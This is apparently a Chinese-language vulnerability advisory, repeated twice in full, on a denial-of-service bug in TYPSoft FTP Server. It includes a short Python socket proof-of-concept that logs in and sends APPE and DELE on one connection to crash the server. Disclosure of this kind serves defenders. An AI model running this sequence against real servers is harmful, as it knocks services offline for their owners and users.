TYPSoft FTP Server是一款简单易用的FTP服务程序。 TYPSoft FTP Server中存在拒绝服务漏洞,用户登录到服务器后对同一个套接字连接同时使用APPE和DELE命令就会导致服务器崩溃: 1.sock.connect((hostname, 21)) 2.sock.send(\"user \\%s\r\n\" \\%username) 3.sock.send(\"pass \\%s\r\n\" \\%passwd) 4.sock.send(\"PORT 127,0,0,1,122,107\r\n\") 5.sock.send(\"APPE \"+ test_string +\"\r\n\") 6.sock.send(\"DELE \"+ test_string +\"\r\n\") 7.sock.close()
TYPSoft FTP Server是一款简单易用的FTP服务程序。 TYPSoft FTP Server中存在拒绝服务漏洞,用户登录到服务器后对同一个套接字连接同时使用APPE和DELE命令就会导致服务器崩溃: 1.sock.connect((hostname, 21)) 2.sock.send(\"user \\%s\r\n\" \\%username) 3.sock.send(\"pass \\%s\r\n\" \\%passwd) 4.sock.send(\"PORT 127,0,0,1,122,107\r\n\") 5.sock.send(\"APPE \"+ test_string +\"\r\n\") 6.sock.send(\"DELE \"+ test_string +\"\r\n\") 7.sock.close()